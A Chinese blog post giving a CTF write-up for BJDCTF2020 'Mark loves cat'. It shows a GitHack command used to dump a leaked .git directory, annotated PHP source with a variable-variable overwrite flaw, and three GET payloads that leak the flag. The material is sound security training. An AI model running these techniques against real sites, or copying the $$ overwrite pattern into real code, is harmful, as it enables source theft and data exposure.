首页 > 编程语言 >[BJDCTF2020]Mark loves cat(源码泄露+命令执行)

[BJDCTF2020]Mark loves cat(源码泄露+命令执行)

时间:2024-07-17 12:51:12浏览次数:19  
标签:GET cat flag 源码 loves POST yds handsome

扫描之后发现是/.git源码泄露

python GitHack.py http://56ad87c1-d8fb-463d-9480-f0fbee5176a0.node5.buuoj.cn:81/.git/ 

image
之后出现源码查看index.php
image

<?php

// 包含外部文件 'flag.php',可能包含变量 $flag
include 'flag.php';

// 初始化三个变量
$yds = "dog";     // $yds 被设置为 "dog"
$is = "cat";      // $is 被设置为 "cat"
$handsome = 'yds'; // $handsome 被设置为字符串 'yds'

// 遍历 $_POST 数组,将每个键值对赋值给动态生成的变量
foreach($_POST as $x => $y){
    $$x = $y; // 例如,如果 $_POST 包含 'foo' => 'bar',则生成 $foo = 'bar'
}

// 遍历 $_GET 数组,将每个键值对赋值给动态生成的变量
foreach($_GET as $x => $y){
    $$x = $$y; // 例如,如果 $_GET 包含 'foo' => 'bar',则生成 $foo = $bar 的值
}

// 再次遍历 $_GET 数组,检查特定条件
foreach($_GET as $x => $y){
    // 如果 $_GET['flag'] 的值等于当前键名且键名不为 'flag'
    if($_GET['flag'] === $x && $x !== 'flag'){
        // 输出 $handsome 的值并终止脚本执行
        exit($handsome);
    }
}

// 检查是否存在 $_GET['flag'] 或 $_POST['flag']
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    // 如果这两个参数都没有被设置,输出 $yds 的值并终止脚本执行
    exit($yds);
}

// 检查 $_POST['flag'] 或 $_GET['flag'] 是否等于字符串 'flag'
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    // 如果其中一个等于 'flag',输出 $is 的值并终止脚本执行
    exit($is);
}

// 最后输出变量 $flag 的值
echo "the flag is: ".$flag;
?>

我们可以利用下面三个exit中的其中一个来输出flag


方法一覆盖$handsome

GET:?handsome=flag&flag=x&x=flag

handsome=flag是把$handsome=flag的值
handsome=flag经过
foreach($_GET as $x => $y){
    $$x = $$y;
	}
//变为$handsome=$flag

然后我们要满足

$_GET['flag'] === $x && $x !== 'flag'
//即让x和flag等于flag的值而不等于flag

所以就是flag=x&x=flag


方法二覆盖$yds

GET:?yds=flag
不做过多解释


方法三覆盖$is

GET:?is=flag&flag=flag
不做过多解释

标签:GET,cat,flag,源码,loves,POST,yds,handsome
From: https://www.cnblogs.com/dghh/p/18307060

相关文章